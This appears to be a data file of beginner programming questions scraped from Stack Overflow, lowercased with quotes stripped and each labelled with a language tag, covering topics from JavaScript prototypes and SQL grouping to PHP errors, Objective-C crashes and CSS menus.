javascript isprototypeof vs instanceof usage  suppose we have the following:   <pre><code>function super() {       // init code }  function sub() {       super.call(this);       // other init code }  sub.prototype = new super();  var sub = new sub(); </code></pre>   then  in some other part of our ocde  we can use either of the following to check for the relationship:   <pre><code>sub instanceof super;    </code></pre>   or    <pre><code>super.prototype.isprototypeof( sub ) </code></pre>   either way  we need to have both the object (sub)  and the parent constructor (super).  so  is there any reason why you d use one vs the other   is there some other situation where the distinction is more clear     i ve already carefully read <a href= https://stackoverflow.com/questions/2464426/whats-the-difference-between-isprototypeof-and-instanceof-in-javascript >2464426</a>  but didn t find a specific enough answer.,javascript
numbered line code example   how do you add numbered lines to code examples and also giving a printing and view plain text options like in the code examples in the following link below:    <a href= http://www.sitepoint.com/blogs/2009/06/02/css-sizing-absolute-position/  rel= nofollow noreferrer >http://www.sitepoint.com/blogs/2009/06/02/css-sizing-absolute-position/</a>,html
how to return 1st record from group by  trying to return only the 1st supplier code and have all other fields unaffected.    <pre><code>`select  container.part_key  part.part_no  part.name  part.revision  container.quantity  container.container_status  op.operation_no  opp.operation_code  part.part_status  supplier.supplier_code   from part_v_container as container  join part_v_part as part on part.part_key = container.part_key   join part_v_part_operation as op on op.part_operation_key = container.part_operation_key  join part_v_operation as opp on opp.operation_key = op.operation_key  join part_v_approved_supplier as approved on approved.part_key = container.part_key  join common_v_supplier as supplier on supplier.supplier_no = approved.supplier_no   where container.active =  1   group by container.part_key` </code></pre>   there will be duplicate part numbers  revisions  etc. not worried about that. i just want the part no to list only one approved supplier to the far right  even though for any given part  there are multiple approved suppliers listed in the database.  furthermore  the order the database lists the approved suppliers does not matter.     thanks!,sql
how does compiling happen only for the first time in projectless development   i read these words in a book:   <blockquote>    <strong>projectless development simplifies debugging</strong>: when creating a web project  you must recompile the entire application when you change a single page. with projectless development  each page is compiled separately  <em>and the page is only compiled when you request it for the first time.</em>   </blockquote>   how does compiling happen only for the first time in projectless development  should it recompile every time i run the page to reflect the new code i wrote it,asp.net
search query returns empty results  i am not receiving any returned results when i do a search query.   <pre><code>  def index         @users = user.where(zip_code: locations.map(&amp;:zipcode))         @users = user.search(params[:search].gsub(/\s+/    |  )) </code></pre>   though if i do what s below it returns the results:   <pre><code>@users = user.where(zip_code: locations.map(&amp;:zipcode)) else @users = user.search(params[:search].gsub(/\s+/    |  )) </code></pre>   why is it that i have to add <strong>else</strong>  shouldn t i be able to run both  i want to run both of them at the same time to get the expected return results.    in other parts of my  app i can have it look like the original code above and it works as expected. but in this controller it doesn t.,ruby-on-rails
scrolling with jquery   ok  so here s the situation  i have a div with horizontal scrolling  the structure looks like this.   <pre><code>&lt;div class= extra-holder &gt;     &lt;div class= extra-holder-inner &gt;         &lt;ul&gt;             &lt;li&gt;stuff here&lt;/li&gt;             &lt;li&gt;stuff here&lt;/li&gt;             &lt;li&gt;stuff here&lt;/li&gt;             &lt;li&gt;stuff here&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   now  the content is dynamic inside the ul  so fixed widths are out.    i m using the fantastic jquery mousewheel plugin to make scrolling within the div scroll horizontal instead of vertically  works absolutely fine.    the problem arises when trying to scroll on a touch screen  you can t scroll at all.    so  my naive solution was to just have two buttons and animate the inner container  extra-holder-inner  left/right.    like so:   <pre><code>$(document).ready(function() { $( #scroll-r ).click(function() {   $( .extra-holder-inner ).animate({      left:  -=341  //animating by the width of the li s within the container   }  500  function() {     // animation complete.   }); }); });  $(document).ready(function() { $( #scroll-l ).click(function() {   $( .extra-holder-inner ).animate({      left:  +=341    }  500  function() {     // animation complete.   }); }); }); </code></pre>   now the problem with this is really two fold  it s animating the container left/right instead of scrolling it and the user can animate left when there s no other items to the left  it s a useless solution.    so either i need to do something a heck of a lot more complex or i need to figure out a way to have those buttons scroll left/right by 341px instead of animating the container.    ideas  thoughts,jquery
c# windows service - default arguments on install  my application (which is a windows service) needs one command line argument which is the location of a config file.    i want the service to be able to start automatically. filling in the  startup parameters  value only applies to manually starting it and that value does not carry over after the service is stopped.    i tried manually editing the  path to executable  in the registry but the .net service doesn t regocnise it as if it were a command line (taking the 2nd section of the path as the arguments)    is there a way to setup a default argument on install (either using installutil or any other way)     thanks,.net
deleting (poping) specific elements from list  i am doing book exercise on pop() function in python (3.5). the instructions are to delete elements from the list using pop(). from the list below  i want to delete n1  n4  n5  n6  n7  n8  n9. below code works  but very practical) and i don t understand why specific index works only up until [5]. with out using loops (i m not there yet)  what is the proper way of poping specific elements from the list     <pre><code>namelist = [ n1    n2    n3    n4    n5    n6    n7    n8    n9 ] print( i can only invite two people to dinner... )  print( sorry  but    namelist.pop(0).title()    will not be invited to         dinner )  print( sorry  but    namelist.pop(3).title()    will not be invited to       dinner ) print( sorry  but    namelist.pop(4).title()    will not be invited to       dinner )  print( sorry  but    namelist.pop(5).title()    will not be invited to       dinner )  print( sorry  but    namelist.pop(-1).title()    will not be invited to       dinner ) print( sorry  but    namelist.pop(-1).title()    will not be invited to       dinner ) print( sorry  but    namelist.pop(-1).title()    will not be invited to       dinner )  </code></pre>,python
how to place this tab in horizontal in ie 7   the image is the menu list items which displays vertically in ie7 but i want to display it horizontally. i am using smart wizard plugins (framestyle.css) which displays perfectly in all other browsers except ie7.     <img src= https://i.stack.imgur.com/47qpb.png  alt=  >    <strong>framestyle.css</strong>: this is the css for smart wizard plugins.   <pre><code>.swmain ul.anchor {  position:fixed;   z-index:1099;   display:inline;   float:left;   list-style: none;   padding: 0px;     margin: 5px 5px 0 0; }  .swmain ul.anchor li{    position: relative;    margin: 0;   padding: 0;    padding-top:3px;   padding-bottom: 3px;   clear:both;   display:inline;   float: none;   }  .swmain ul.anchor li a {   display:block;   position:relative;   float:left;   margin:0;   padding:3px;   height:35px;   width:146px;   text-decoration: none;   outline-style:none; } </code></pre>   <strong>ie7.css</strong>: this is the css for the menu list item for ie7 browser   <pre><code>.swmain ul.anchor {   display:inline; position:relative;  list-style: none; padding: 0px 0px 0px 0px; margin: 10px 0px 0px 10px; zoom:1; float:left; clear:both; }  .swmain ul.anchor li{   margin: 0;   padding: -10px;    padding-top:0px;   padding-bottom: 0px;   clear:both;   display:inline;   float:left;     } .swmain ul.anchor li a {   display:block;   position:relative;     float:left;   margin:0px 0px 0px 0px;   padding:3px 3px 3px 3px;   text-decoration: none;   outline-style:none; } </code></pre>,css
load div when i open the page  good morning comunity  im really new on this coding so iam sorry if this question is too noob.    i want a div pa load automatically a php file when i open the web page  please i dont want to load with any interval  just load instant when open web.    i tried this code but im sure it is not working   <pre><code>    &lt;script  type= text/javascript  src= http://ajax.googleapis.com/ajax/ libs/jquery/1.3.0/jquery.min.js &gt; &lt;/script&gt;  &lt;script type= text/javascript &gt; $(document).ready(function)() {     $( #apdiv3 ).load( xfile.php ); } ); &lt;/script&gt; </code></pre>   thank you in advance for your time!!,html
why isn t the error array returning when the if statement failed   i m using the below code to insert a new post into the database.    it s working almost flawlessly  the only issue is that the <code>return $this-&gt;errors[] = $image-&gt;geterrors();</code> is not being reported at all by php  even when i m purposely uploading a .txt file when it s not allowed (only jpegs are).    since <code>$image-&gt;isuploaded</code> return false if move_file_uploaded failed  the reports should get shown.    after the function is called  nothing is inserted into the database because the error is there  it s just not being reported.    but if i upload a correct jpeg image  the <code>$db-&gt;commit()</code> is successful and the <code>$image-&gt;isuploaded()</code> returns true and uploads the images to the server as there are no errors.      <pre><code>$public errors = [];  public function newpost($post_title  $post_category  $post_instructions  $post_instructionimages) {      $this-&gt;post_title             = $post_title;     $this-&gt;post_category          = $post_category;     $this-&gt;post_instructions      = $post_instructions;      //this here just checks the $this reference to see if it s not empty     $this-&gt;validate_post();      if(empty($this-&gt;errors)){         $db = static::getdb();          $db-&gt;begintransaction();         $db-&gt;setattribute(pdo::attr_errmode  pdo::errmode_exception);          $sth = $db-&gt;prepare( insert into post (title  category ) values (:title  :category) );         $sth-&gt;bindvalue( :title   $post_title  pdo::param_str );         $sth-&gt;bindvalue( :category   $post_category  pdo::param_str );         $sth-&gt;execute();          $postid = $db-&gt;lastinsertid();          if(isset($post_instructions)){              $sth = $db-&gt;prepare( insert into post_instructions (post_id  instructions) values (:post_id  :instructions) );             $sth-&gt;bindvalue( :post_id   $postid  pdo::param_int );             $sth-&gt;bindvalue( :instructions   $data[ instructions ]  pdo::param_str );             $sth-&gt;execute();              $instructionsid = $db-&gt;lastinsertid();              $uploadimage = new uploadimages();             $image = $uploadimage-&gt;listen($post_instructionimages   uploads/post/img/instructions    instruction_ );              if($image-&gt;isuploaded()){                 $image_name = $image-&gt;getfilename();                 $sth = $db-&gt;prepare( update instructions set image = :image where id = :id );                 $sth-&gt;bindvalue( :image   $image_name  pdo::param_str );                 $sth-&gt;bindvalue( :id   $instructionsid  pdo::param_int);                 $sth-&gt;execute();             } else {                 return $this-&gt;errors[] = $image-&gt;geterrors();             }         }          return $db-&gt;commit();     }      return false; } </code></pre>   this is how i m calling the function:   <pre><code>if($this-&gt;post-&gt;newpost($post_title  $post_category  $post_instructions  $post_instructionimages)) {     flash::addmessage( new post added ); } else {     print_r($this-&gt;post-&gt;errors); } </code></pre>   what i ve tried:    i ve tried var_dump and print_r the <code>$errors</code> but not even then  nothing get s shown  not even inside the if statement above. i ve been trying to understand why that is for literally the past 9 hours  i m asking as a last resort. i didn t think it d be necessary but <a href= http://codepad.org/0yx18mog  rel= nofollow noreferrer >here</a> is the imageupload class.    <strong>update:</strong>    here is the validate_post function   <pre><code>public function validate_post(){      if($this-&gt;post_title ==   ){         $this-&gt;errors[] =  post title is required ;     }      if($this-&gt;post_category ==   ){         $this-&gt;errors[] =  post category is required ;     }      if($this-&gt;post_instructions ==   ){         $this-&gt;errors[] =  post instructions are required ;     } } </code></pre>,php
how do i retrieve all apps schedule notification for ios  currently  i want to create the list for me to know any apps are now created the schedule notification in iphone.    may i know how can i do it for retrieve these info in uilocationnotification,ios
launch application from alert view of push notification  how can i launch my application when user taps the view button in the alert that came due to push notification,iphone
how to get array from serialized string in php   as a result from wordpress option i got following details as a results.   i don t know how to get meaningful result(array) from following code.   is this can be possible with string parsing    <pre><code>a:6:{s:14: street_address ;s:9: add_line1 ;s:15: street_address2 ;s:10: add_line_2 ;s:9: city_name ;s:5: cityname ;s:5: state ;s:7: statename ;s:3: zip ;s:6: 999999 ;s:14: country_select ;s:2: in ;} </code></pre>,php
php get variable is empty  i am trying to send a value in the url when i make a get request. when i run the get.php file  the file data.txt is created but it is empty. the get[ lat ] has no value . why does it have no value      update.php   <pre><code>&lt; php  if($_server[ request_method ]== get  ) {  $q= $get[ lat ]; file_put_contents( data.txt  $q ); }   &gt; </code></pre>   get.php   <pre><code>&lt; php  $curl = curl_init();  curl_setopt_array($curl  array(     curlopt_returntransfer =&gt; 1      curlopt_url =&gt;  http://www.myurl.com/update.php lat=1234       curlopt_useragent =&gt;  codular sample curl request  ));  $resp = curl_exec($curl); curl_close($curl);     &gt; </code></pre>,php
how do i get user input without using scanf in a console app   i m trying to allow users to simply hit enter without typing anything  and use this to mean accepting a default value.  <em>scanf</em> isn t doing what i want and the app still  blocks : <strong>the next line of code doesn t run</strong>.    the only way is to actually type something then press enter.    i tried using <em>nsfilehandle</em> and <em>filehandlewithstandardinput</em>; however  it seems that the user is now forced to hit ctrl-d to indicate <em>eof</em>.    someone suggested using <em>fgets</em>  but i cannot work out what to pass as 3rd parameter (of <code>file*</code> type). tried <em>stdin</em> but it doesn t  block .    how do i accept input from a user  using objective-c  and at the same time allow the user to simply hit enter without being forced to type anything   how do i read a single line  even if that line is blank,objective-c
bizarre key-value coding error for basic uilabel  this is a new one. i m testing that my various viewcontrollers are getting loaded by my tab bar  so i put this on one of them:   <pre><code>- (void)viewdidload { [super viewdidload]; uilabel*yo=[[uilabel alloc] init]; self.testlabel=yo; self.testlabel.text=[nsstring stringwithformat:@ sup ];  [yo release]; </code></pre>   this is what i get when i click the tab button for that controller:    <strong>2011-07-26 14:05:37.773 pickers[802:707] <em></strong> terminating app due to uncaught exception  nsunknownkeyexception   reason:  [ setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key testlabel. </em>*    what in the world ! i must be doing something exceptionally basic and wrong here. can anyone spot it     i ve got this in the .h and .m:   <pre><code>@interface singlevc : uiviewcontroller  @property (nonatomic  retain) iboutlet uilabel*testlabel;  @end </code></pre>   and   <pre><code>@implementation singlevc  @synthesize testlabel; </code></pre>   i get the following stack errors (which i do not know how to read):   <pre><code>*** call stack at first throw: (     0   corefoundation                      0x00dc25a9 __exceptionpreprocess + 185     1   libobjc.a.dylib                     0x00f16313 objc_exception_throw + 44     2   corefoundation                      0x00dc24e1 -[nsexception raise] + 17     3   foundation                          0x00794677 _nssetusingkeyvaluesetter + 135     4   foundation                          0x007945e5 -[nsobject(nskeyvaluecoding) setvalue:forkey:] + 285     5   uikit                               0x0021030c -[uiruntimeoutletconnection connect] + 112     6   corefoundation                      0x00d388cf -[nsarray makeobjectsperformselector:] + 239     7   uikit                               0x0020ed23 -[uinib instantiatewithowner:options:] + 1041     8   uikit                               0x00210ab7 -[nsbundle(uinsbundleadditions) loadnibnamed:owner:options:] + 168     9   uikit                               0x000c6628 -[uiviewcontroller _loadviewfromnibnamed:bundle:] + 70     10  uikit                               0x000c4134 -[uiviewcontroller loadview] + 120     11  uikit                               0x000c400e -[uiviewcontroller view] + 56     12  uikit                               0x000d6f54 -[uitabbarcontroller transitionfromviewcontroller:toviewcontroller:transition:shouldsetselected:] + 120     13  uikit                               0x000d5aaa -[uitabbarcontroller transitionfromviewcontroller:toviewcontroller:] + 64     14  uikit                               0x000d78a2 -[uitabbarcontroller _setselectedviewcontroller:] + 263     15  uikit                               0x000d7711 -[uitabbarcontroller _tabbaritemclicked:] + 352     16  uikit                               0x000144fd -[uiapplication sendaction:to:from:forevent:] + 119     17  uikit                               0x00216ce6 -[uitabbar _sendaction:withevent:] + 422     18  uikit                               0x000144fd -[uiapplication sendaction:to:from:forevent:] + 119     19  uikit                               0x000a4799 -[uicontrol sendaction:to:forevent:] + 67     20  uikit                               0x000a6c2b -[uicontrol(internal) _sendactionsforevents:withevent:] + 527     21  uikit                               0x000a4750 -[uicontrol sendactionsforcontrolevents:] + 49     22  uikit                               0x000144fd -[uiapplication sendaction:to:from:forevent:] + 119     23  uikit                               0x000a4799 -[uicontrol sendaction:to:forevent:] + 67     24  uikit                               0x000a6c2b -[uicontrol(internal) _sendactionsforevents:withevent:] + 527     25  uikit                               0x000a57d8 -[uicontrol touchesended:withevent:] + 458     26  uikit                               0x00038ded -[uiwindow _sendtouchesforevent:] + 567     27  uikit                               0x00019c37 -[uiapplication sendevent:] + 447     28  uikit                               0x0001ef2e _uiapplicationhandleevent + 7576     29  graphicsservices                    0x00ffb992 purpleeventcallback + 1550     30  corefoundation                      0x00da3944 __cfrunloop_is_calling_out_to_a_source1_perform_function__ + 52     31  corefoundation                      0x00d03cf7 __cfrunloopdosource1 + 215     32  corefoundation                      0x00d00f83 __cfrunlooprun + 979     33  corefoundation                      0x00d00840 cfrunlooprunspecific + 208     34  corefoundation                      0x00d00761 cfrunloopruninmode + 97     35  graphicsservices                    0x00ffa1c4 gseventrunmodal + 217     36  graphicsservices                    0x00ffa289 gseventrun + 115     37  uikit                               0x00022c93 uiapplicationmain + 1160     38  pickers                             0x000025c9 main + 121     39  pickers                             0x00002545 start + 53 ) terminate called throwing an exceptioncurrent language:  auto; currently objective-c kill quit </code></pre>,objective-c
expanding input box on input with css  i have been searching so for a good answer for this specific question  however many of the answers are from 2012 or earlier and advances in css may already tackle this.    if i have an input box which is only one character wide (lets assume 8px) is there a way to have this box expand on user input to grow with the size of the input  i have tried using <code>contenteditable= true </code> but this did not seem to take any effect with an input box.  multiple attempts at adjusting the width did not take any effect.    working out of this <a href= http://jsfiddle.net/3079afmk/9/  rel= nofollow >jsfiddle</a>    <strong>not a css solution</strong>    but this is what i ended up doing with jquery   <pre><code>$( input ).bind( keyup   function(){         var inputlength = $(this).val().length         if(inputlength &gt; 0){         $(this).attr( size   $(this).val().length)         }         else{             $(this).attr( size    1 )         }     }); </code></pre>   <a href= http://jsfiddle.net/kzq4tcxb/2/  rel= nofollow >jsfiddle</a>,css
while i am trying to call my method  which is created in the main method  i am getting errors <pre><code>public class myclass {     public  static short subtractnumbers (short a  byte b  float k )     {         int x=(short)a;         int y=(short)b;         int z=(short)k;         return (short)(x+y-z);     }     public static void main (string[] args)     {         system.out.println(subtractnumbers(127 127 0.0f));     }     } </code></pre>   when i compile and run the program  i am getting errors  as:   <pre><code>error: method subtractnumbers in class myclass cannot be applied to given types;  system.out.println(subtractnumbers(127 127 0.0f));  required: short byte float  found: int int float  reason: actual argument int cannot be converted to short by method invocation conversion </code></pre>   why are the code causing the errors  i am wondering.    thanks in advance for the help it would be appreciated.,java
how to make one of three td in one tr of a table resize itself to fill the remaining portions in html   i made a table in my page with height of 50px and width 100% and one row in that table  in which i inserted three tds  first one of width 100px and third one of 50 px. i want the second one (the one which is in the middle) to resize itself to fill all the remaining portions in the middle  so that when browser window is resized  no scroll bar should come at down. i when directly wrote it s width=100% in style tag for this td  it was fine with chrome but not with firefox and when i wrote auto  it was fine with firefox but not with chrome. can someone please help,html
call .net objects/dlls across virtual sites  site 1 has dll s for x amount of object and data calls.  can site 2 (a separate .net web app) call the objects/dll s of site 1,.net
how to store multi line sql query in app.config file in .net  could you please help me   how to store <strong>multi line sql query in app.config file</strong>.    below is example:- i want to store this query in app.config file.   <pre><code>select * from users u left join employee e on u.id = e.id inner join department d on d.id=e.id left join orders o on o.id = e.id inner join values v v.id = e.id  where u.createtime&gt;=getdate()-1 and u.deletstatus=1 and d.id&lt;&gt;0 </code></pre>,asp.net
"set variable with if in javascript function  this does not loop... how do i set variable with an if function like i have attempted to do(i am very new to javascript)    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>nostroke();
 var x = 10;
     
 draw = function() {
     background(151  244  247)
     fill(255  0  115);
     rect(x  200  100  20);
     rect(x + 15  178  70  40);
     fill(77  66  66);
     ellipse(x + 25  221  24  24);
     ellipse(x + 75  221  24  24);
     
     x = x + 1;
 };
 var func = function() { if (x&gt;300){set x = 1}};</code></pre>
 </div>
 </div>
  i have googled how to set variable with function in this manner  but cannot find anything on it... don t be the guy who says ¨ever heard of google ¨ this is the start of a busy highway background on a website",javascript
ignore an input field - filter() jquery  i m using filter() to check if there are any blank input fields. how can i ignore 1 particular input field which has the same class.   <pre><code>$( #btn ).click(function(){          var findblank = $( .common ).filter(function(){           return !$.trim($(this).val()).length;       }).length;        if(!findblank) {          //go...       } }); </code></pre>,jquery
simple way to ship a small database with an html app  i have an html/css/js single page app whose files are :   <pre><code>index.html css files js files including jquery mobile cache manifest file </code></pre>   i compile the app for android using phonegap build and i also provide it on a server as a pure web app that can work offline (cache manifest) the app needs to use a small database (a few lines of tab separated text) to work. and the database needs to be updated sometimes (once a month maybe).    what is the best  up-to-date way  to ship this little database with my app  and to regularly update it by copying the server version,html
how to capture the value change of numericupdown ctrl real-time in .net   i have implement the <strong>valuechanged</strong> event  but i found it will be triggered only after change the focus from numericupdown to other control or by clicking the up/down arrow.    inputting the value in the control will not trigger <strong>valuechanged</strong> event.    what i did now is adding an <strong>keydown</strong> event and judge if the input value is numeric (can not include shift/ctrl/alt key); but there is another case need to be involved: the user can paste value into the numericupdown ctrl    <strong><em>what i need is :</em></strong>   <ol> <li>when i was typing numeric value (only numeric) in the numericupdown ctrl  it will known the content has been changed; </li> <li>when pasted a numeric value into the ctrl  it also kowns the content changed</li> </ol>,.net
"my drop down menu is not working properly in my blogger template  child items are not shown  outside of blogger template it works fine  but in blogger template it does not show child items  please help me. my css code is given below    <a href= https://i.stack.imgur.com/3wojf.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3wojf.jpg  alt= enter image description here ></a>   <hr>   /* pure css3 multi level drop down navigation menu <em>/ /</em>             by www.bloggermint.com            */    <a href= https://i.stack.imgur.com/3wojf.jpg  rel= nofollow noreferrer >1</a>:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#nav {
   float: left;
   font: bold 12px arial  helvetica  sans-serif;
   border: 1px solid #121314;
   border-top: 1px solid #2b2e30;
   -webkit-border-radius: 5px;
   -moz-border-radius: 5px;
   border-radius: 5px;
   overflow: hidden;
 }
 
 #nav ul {
   margin: 0;
   padding: 0;
   list-style: none;
 }
 
 #nav ul li {
   float: left;
 }
 
 #nav ul li a {
   float: left;
   color: #d4d4d4;
   padding: 10px 20px;
   text-decoration: none;
   background: #3c4042;
   background: -webkit-gradient( linear  left bottom  left top  color-stop(0.09  rgb(59  63  65))  color-stop(0.55  rgb(72  76  77))  color-stop(0.78  rgb(75  77  77)));
   background: -moz-linear-gradient( center bottom  rgb(59  63  65) 9%  rgb(72  76  77) 55%  rgb(75  77  77) 78%);
   background: -o-linear-gradient( center bottom  rgb(59  63  65) 9%  rgb(72  76  77) 55%  rgb(75  77  77) 78%);
   box-shadow: 0 1px 0 rgba(255  255  255  0.1) inset  0 0 5px rgba(0  0  0  0.1) inset;
   border-left: 1px solid rgba(255  255  255  0.05);
   border-right: 1px solid rgba(0  0  0  0.2);
   text-shadow: 0 -1px 1px rgba(0  0  0  0.6);
 }
 
 #nav ul li a:hover 
 #nav ul li:hover&gt;a {
   color: #252525;
   background: #3c4042;
   background: -webkit-gradient( linear  left bottom  left top  color-stop(0.09  rgb(77  79  79))  color-stop(0.55  rgb(67  70  71))  color-stop(0.78  rgb(69  70  71)));
   background: -moz-linear-gradient( center bottom  rgb(77  79  79) 9%  rgb(67  70  71) 55%  rgb(69  70  71) 78%);
   background: -o-linear-gradient( center bottom  rgb(77  79  79) 9%  rgb(67  70  71) 55%  rgb(69  70  71) 78%);
   text-shadow: 0 1px 0 rgba(255  255  255  0.2)  0 -1px #000;
 }
 
 #nav li ul a:hover 
 #nav ul li li:hover&gt;a {
   color: #2c2c2c;
   background: #5c9acd;
   background: -webkit-gradient( linear  left bottom  left top  color-stop(0.17  rgb(61  111  177))  color-stop(0.51  rgb(80  136  199))  color-stop(1  rgb(92  154  205)));
   background: -moz-linear-gradient( center bottom  rgb(61  111  177) 17%  rgb(80  136  199) 51%  rgb(92  154  205) 100%);
   background: -o-linear-gradient( center bottom  rgb(61  111  177) 17%  rgb(80  136  199) 51%  rgb(92  154  205) 100%);
   border-bottom: 1px solid rgba(0  0  0  0.6);
   border-top: 1px solid #7baed9;
   text-shadow: 0 1px rgba(255  255  255  0.3);
 }
 
 #nav li ul {
   background: #3c4042;
   background-image: -webkit-gradient( linear  left bottom  left top  color-stop(0.09  rgb(77  79  79))  color-stop(0.55  rgb(67  70  71))  color-stop(0.78  rgb(69  70  71)));
   background-image: -moz-linear-gradient( center bottom  rgb(77  79  79) 9%  rgb(67  70  71) 55%  rgb(69  70  71) 78%);
   background-image: -o-linear-gradient( center bottom  rgb(77  79  79) 9%  rgb(67  70  71) 55%  rgb(69  70  71) 78%);
   border-radius: 0 0 10px 10px;
   -moz-border-radius: 0 0 10px 10px;
   -webkit-border-radius: 0 0 10px 10px;
   left: -999em;
   margin: 35px 0 0;
   position: absolute;
   width: 160px;
   z-index: 9999;
   box-shadow: 0 0 15px rgba(0  0  0  0.4) inset;
   -moz-box-shadow: 0 0 15px rgba(0  0  0  0.4) inset;
   -webkit-box-shadow: 0 0 15px rgba(0  0  0  0.4) inset;
   border: 1px solid rgba(0  0  0  0.5);
 }
 
 #nav li:hover ul {
   left: auto;
 }
 
 #nav li ul a {
   background: none;
   border: 0 none;
   margin-right: 0;
   width: 120px;
   box-shadow: none;
   -moz-box-shadow: none;
   -webkit-box-shadow: none;
   border-bottom: 1px solid transparent;
   border-top: 1px solid transparent;
 }
 
 #nav li li ul {
   margin: -1px 0 0 160px;
   -webkit-border-radius: 0 10px 10px 10px;
   -moz-border-radius: 0 10px 10px 10px;
   border-radius: 0 10px 10px 10px;
   visibility: hidden;
 }
 
 #nav li li:hover ul {
   visibility: visible;
 }
 
 #nav ul ul li:last-child&gt;a {
   -moz-border-radius: 0 0 10px 10px;
   -webkit-border-radius: 0 0 10px 10px;
   border-radius: 0 0 10px 10px;
 }
 
 #nav ul ul ul li:first-child&gt;a {
   -moz-border-radius: 0 10px 0 0;
   -webkit-border-radius: 0 10px 0 0;
   border-radius: 0 10px 0 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= nav &gt;
   &lt;ul&gt;
     &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;about us&lt;/a&gt;&lt;/li&gt;
 
     &lt;li&gt;&lt;a href= # &gt;our portfolio&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;one dropdown&lt;/a&gt;
       &lt;ul&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.1&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.2&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.3&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.4&lt;/a&gt;&lt;/li&gt;
 
         &lt;li&gt;&lt;a href= # &gt;level 2.5&lt;/a&gt;&lt;/li&gt;
       &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;three levels&lt;/a&gt;
       &lt;ul&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.1&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.2&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.3&lt;/a&gt;
 
           &lt;ul&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.1&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.2&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.3&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.4&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.5&lt;/a&gt;&lt;/li&gt;
 
             &lt;li&gt;&lt;a href= # &gt;level 2.3.6&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;level 2.3.7&lt;/a&gt;&lt;/li&gt;
           &lt;/ul&gt;
         &lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.4&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;level 2.5&lt;/a&gt;&lt;/li&gt;
       &lt;/ul&gt;
 
     &lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;services&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;contact us&lt;/a&gt;&lt;/li&gt;
   &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
whats right way to create object (in database) from controller   i m trying to do that:   <ol> <li>user upload file in first controller </li> <li>in some conditions i show page to user for choose element from file and pass file data to another controller in params: data#new</li> </ol>   in data#new:   <pre><code>@elm_file = rails.cache.read(params[:cache_id]) @elm_id = params[:index] @user_name = params[:name]  new_elm_id = elm.create_from_file @elm_file  @elm_id  @user_name  if new_elm_id != 0   redirect_to :action =&gt;     :id =&gt; new_elm_id end  return </code></pre>   in model:   <pre><code>new_elm = elm.new  return new_elm.id </code></pre>   the problem is - nothing returned. how can i record new element to database,ruby-on-rails
how i can bind json data in html table using angular js   here is my json data. how i can bind this data in html table using angular.js       <pre><code>[{ keycolumn1 :1  originkey1 :1  datafield1 :1}  { keycolumn1 :2  originkey1 :2  datafield1 :2}  { keycolumn1 :3  originkey1 :3  datafield1 :3}  { keycolumn1 :4  originkey1 :4  datafield1 :4}  { keycolumn1 :5  originkey1 :5  datafield1 :5}  { keycolumn1 :11  originkey1 :11  datafield1 :11}  { keycolumn1 :12  originkey1 :12  datafield1 :12}  { keycolumn1 :13  originkey1 :13  datafield1 :13}  { keycolumn1 :14  originkey1 :14  datafield1 :14}  { keycolumn1 :15  originkey1 :15  datafield1 :15}] </code></pre>,angularjs
don t show context menu if nothing is selected  i like to have a context menu only show up if an item is actually selected in a listbox in a winforms c# application.    currently  i am able to select an item if it is right clicked properly  and i can disable the right click menu if nothing is selected  however  i don t want the menu to even show up.    how can this be accomplished    <pre><code>private void genpassmenu_opening(object sender  canceleventargs e)     {         genpassmenu.enabled = lstpasswords.selectedindex &gt; 0;         genpassmenu.visible = lstpasswords.selectedindex &gt; 0;      } </code></pre>   i tried both of those situations on their own  and it only works for enabled.<br> perhaps opening isn t the correct event to choose <br> tx,c#
function to find duplicate (2d) cells in a 3d array  <code>int duplicate (int cards[5][4][13])</code>    i have been trying to develop a function (the prototype is above) that loops through a 3d array that holds 5 cards of a hand and the numerical index to a cell that holds a 1 indicating that a card exists is based on the suit (4) and the face (13).    for example if in a hypothetical hand the first card was a seven of clubs its index would be: [1][3][7] where 1 is the card 3 = clubs and 7 = sevens.    i need to loop through all five cards in the hand and find out if there are any two cards that are identical.    i cant figure out how to do this because i could compare the index of the first card to the other four but then the remaining cards wouldnt be compared to each other.    the function returns 1 if there is a duplicate or 0 if not.    i am very confused.    thanks!,c
